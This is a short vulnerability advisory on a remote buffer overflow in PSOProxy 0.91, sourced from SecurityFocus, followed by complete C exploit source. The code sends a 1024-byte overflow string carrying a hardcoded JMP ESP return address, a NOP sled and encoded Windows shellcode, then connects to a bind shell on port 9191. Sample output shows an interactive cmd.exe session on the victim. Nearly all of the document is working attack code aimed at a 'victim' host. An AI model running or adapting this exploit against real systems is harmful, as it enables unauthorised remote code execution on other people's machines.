source: http://www.securityfocus.com/bid/9706/info
 
It has been reported that PSOProxy is prone to a remote buffer overflow vulnerability. The issue is due to the insufficient boundary checking.
 
A malicious user may exploit this condition to potentially corrupt sensitive process memory in the affected process and ultimately execute arbitrary code with the privileges of the web server. 

/*
 * PSOProxy remote stack-based overflow
 * by Li0n7@voila.fr
 * Bug found by Donato Ferrante <fdonato@autistici.org>
 * Spawns cmd.exe on port 9191
 *
 * usage: ./PSOProxy-exp -h <victim> -p <port> -t <target>
 * Platforms supported are:
 *     0 - XP SP1 FR - PSOProxy 0.91 - 0x77d615b9
 *
 * $./PSOProxy-exp -h 192.168.0.1 -p 8080 -t 0
 * PSOProxy <= 0.91 remote exploit
 * Bug found by Donato Ferrante <fdonato@autistici.org>
 * Exploit written by Li0n7 <Li0n7@voila.fr>
 *
 * [+] Connected to 192.168.0.1:8080.
 * [+] Building evil string to send (0x77d615b9).
 * [+] Here's your shell, have fun!
 * Microsoft Windows XP [version 5.1.2600]
 * (C) Copyright 1985-2001 Microsoft Corp.
 *
 * C:\Program Files\psoproxy-x86-win32-0.91>
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>

#define BACK         9191
#define D_PORT       8080
#define SIZE         2048
#define JMP_ESP      0x77D4643D // USER32.DLL JMP ESP addr

//ripped shellcode from ?

char shellcode[] =
 "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33"
  "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C"
  "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE"
  "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB"
  "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77"
  "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77"
  "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77"
  "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77"
  "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77"
  "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77"
  "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77"
  "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77"
  "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77"
  "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB"
  "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C"
  "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0"
  "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77"
  "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0"
  "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB"
  "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5"
  "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98"
  "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE"
  "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77"
  "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8"
  "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF"
  "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90"
  "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74"
  "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4"
  "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94"
  "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5"
  "\xD3\x4A\x8C\x88";

struct os_ret_addr
{
      int num;
      char *plat;
      long ret;
};

struct os_ret_addr exp_os[]=
{
{0,"XP SP1 FR - PSOProxy 0.91", 0x77D615B9}, // USER32.DLL jmp esp addr
{0,NULL,0},
};

char *build(long ret);
int back_connection(long host);
void send_evil(int fd,char evil[]);
int set_connection(long host,int port);
long resolve_host(u_char *host_name);
void die(char *argv);

int
main(int argc,char *argv[])
{
      int i, option, fd, port = D_PORT;
      long host = 0, ret = JMP_ESP;
      char * option_list = "h:p:t:", buffer[SIZE];

      opterr = 0;

      fprintf(stdout,"PSOProxy <= 0.91 remote exploit\r\n");
      fprintf(stdout,"Bug found by Donato Ferrante <fdonato@autistici.org>\r\n");
      fprintf(stdout,"Exploit written by Li0n7 <Li0n7@voila.fr>\r\n\n");

      if (argc < 2) die(argv[0]);

      while((option = getopt(argc,argv,option_list)) != -1)
          switch(option)
          {
              case 'h':
                  host = resolve_host(optarg);
                  if(!host)
                  {
                      fprintf(stderr,"[-] Host address incorrect.\n");
                      exit(0);
                  }
                  break;
              case 'p':
                  port = atoi(optarg);
                  if(port > 65535 || port < 0) exit(1);
                  break;
              case 't':
                  for(i=0; exp_os[i].plat != NULL; i++)
                  if(atoi(optarg) > i || atoi(optarg) < 0)
                  {
                      fprintf(stderr,"Platforms supported are:\n");
                      for(i=0; exp_os[i].plat != NULL; i++)
                          fprintf(stderr,"\t%i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
                          exit(1);
                  }
                  ret = exp_os[atoi(optarg)].ret;
                  break;
              case '?':
                  fprintf(stderr,"[-] option \'%c\' unknown\n",optopt);
                  die(argv[0]);
          }

      fd = set_connection(host,port);
      strncpy(buffer,build(ret),SIZE-1);
      buffer[SIZE-1] = '\0';
      send_evil(fd,buffer);
      back_connection(host);
      return 0;
}

char
*build(long ret)
{
      char *buffer,*ptr,*request;
      int i;
      long *addr_ptr;

      fprintf(stdout,"[+] Building evil string to send (0x%x).\n",ret);
      buffer = (char *)malloc(SIZE);
      request = (char *)malloc(SIZE+4);

      if(!buffer || !request)
      {
          fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
          exit(0);
      }

      ptr = buffer;
      memset(ptr,0x41,1024);
      ptr += 1024;

      addr_ptr = (long *)ptr;
      *(addr_ptr++) = ret;
      ptr = (char *)addr_ptr;

      memset(ptr,0x90,20);
      ptr += 20;
      memcpy(ptr,shellcode,strlen(shellcode));
      ptr += strlen(shellcode);

      snprintf(request,SIZE+64,"%s\r\n",buffer);
      return request;
}


int
back_connection(long host)
{
      struct sockaddr_in s;
      u_char sock_buf[4096];
      fd_set fds;
      int fd,size;
      char *command="ver\n";

      fd = socket(AF_INET, SOCK_STREAM, 0);
      if (fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_family = AF_INET;
      s.sin_port   = htons(BACK);
      s.sin_addr.s_addr = host;

      if (connect(fd, (struct sockaddr *)&s, sizeof(struct sockaddr)) == -1)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          return 0;
      }

      fprintf(stdout, "[+] Here's your shell, have fun!\n\n");

      size = send(fd, command, strlen(command), 0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      for (;;)
      {
          FD_ZERO(&fds);
          FD_SET(0, &fds);
          FD_SET(fd, &fds);

          if (select(255, &fds, NULL, NULL, NULL) == -1)
          {
              fprintf(stderr,"[-] %s\n",strerror(errno));
              close(fd);
              exit(0);
          }

          memset(sock_buf, 0, sizeof(sock_buf));

          if (FD_ISSET(fd, &fds))
          {
              if (recv(fd, sock_buf, sizeof(sock_buf), 0) == -1)
              {
                  fprintf(stderr, "[-] Connection closed by remote host.\n");
                  close(fd);
                  exit(0);
              }

              fprintf(stderr, "%s", sock_buf);
          }

          if (FD_ISSET(0, &fds))
          {
              read(0, sock_buf, sizeof(sock_buf));
              write(fd, sock_buf, strlen(sock_buf));
          }
      }
      return 0;
}

void
send_evil(int fd,char evil[SIZE+64])
{
      int size;
      size = send(fd, evil, strlen(evil), 0);
      if(size < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }
      sleep(1);
      return;
}


int
set_connection(long host,int port)
{
      struct sockaddr_in s;
      struct hostent * hoste;
      int fd,size;

      fd = socket(AF_INET,SOCK_STREAM,0);
      if(fd < 0)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          exit(0);
      }

      s.sin_family = AF_INET;
      s.sin_addr.s_addr = host;
      s.sin_port = htons(port);

      if(connect(fd,(struct sockaddr *)&s,sizeof(s)) == -1)
      {
          fprintf(stderr,"[-] %s\n",strerror(errno));
          close(fd);
          exit(0);
      }

      fprintf(stdout,"[+] Connected to %s:%i.\n",inet_ntoa(s.sin_addr.s_addr),port);

      sleep(1);
      return fd;

}

long resolve_host(u_char *host_name)
{
      struct in_addr addr;
      struct hostent *host_ent;

      addr.s_addr = inet_addr(host_name);
      if (addr.s_addr == -1)
      {
          host_ent = gethostbyname(host_name);
          if (!host_ent) return(0);
          memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
      }

      return(addr.s_addr);
}

void
die(char *argv)
{
      int i;
      fprintf(stdout,"usage: %s -h <victim> -p <port> -t <target>\n",argv);
      fprintf(stderr,"Platforms supported are:\n");
      for(i=0; exp_os[i].plat != NULL; i++)
          fprintf(stderr,"\t%i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
      exit(1);
}

/* A poil! */

